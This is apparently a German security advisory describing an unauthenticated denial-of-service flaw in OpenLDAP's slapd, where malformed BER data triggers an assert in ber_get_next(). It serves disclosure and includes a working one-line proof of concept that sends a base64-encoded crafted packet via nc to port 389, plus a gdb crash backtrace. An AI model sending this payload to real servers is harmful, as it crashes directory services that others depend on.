Eine Sicherheitslücke in dem Open-LDAP-Server-Daemon hat zur Folge, dass ein entfernter Angreifer Denial-of-Service-Attacken ausführen kann. Die Sicherheitslücke befindet sich in dem »slapd«-Daemon und kann von einem nicht angemeldeten Angreifer verwendet werden, um den Dienst zum Absturz zu bringen. Die Attacke kann durch das Senden speziell gebauter Netzwerkpakete ausgelöst werden. Hierdurch kann der Angreifer dafür sorgen, dass im Code ein »assert«-Statement erreicht wird, was dann zum Absturz führt.
Die Assert-Anweisung befindet sich in der »ber_get_next()«-Funktion (»io.c«-Datei) und wird aufgerufen, wenn fehlerhafte
Basic-Encoding-Rules-Daten verarbeitet werden. Ein einfacher Proof-of-Concept-Exploit könnte wie folgt aussehen:
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v [target] 389
Der Absturz kann mit dem gdb-Debugger analysiert werden und liefert dann folgendes Ergebnis:
program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff6a144e8 in __GI_abort () at abort.c:89 #2 0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:92 #3 0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:101 #4 0x000000000053261a in ber_get_next (sb=0x7fffe40008c0, len=0x7ffff2e49b40, ber=0x7fffe4000a00) at io.c:682 #5 0x0000000000420b56 in connection_input (cri=<optimized out>, conn=<optimized out>) at connection.c:1572 #6 connection_read (cri=<optimized out>, s=<optimized out>) at connection.c:1460 #7 connection_read_thread (ctx=0x7ffff2e49b90, argv=0xf) at connection.c:1284 #8 0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at tpool.c:696 #9 0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2e4a700) at pthread_create.c:309 #10 0x00007ffff6ac404d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
Wie man hier sieht wird ein SIGABRT-Signal generiert, was durch den Assert-Aufruf in der »ber_get_next()«-Funktion
ausgelöst wird.
Betroffen sind die Versionen 2.4.42 und älter.
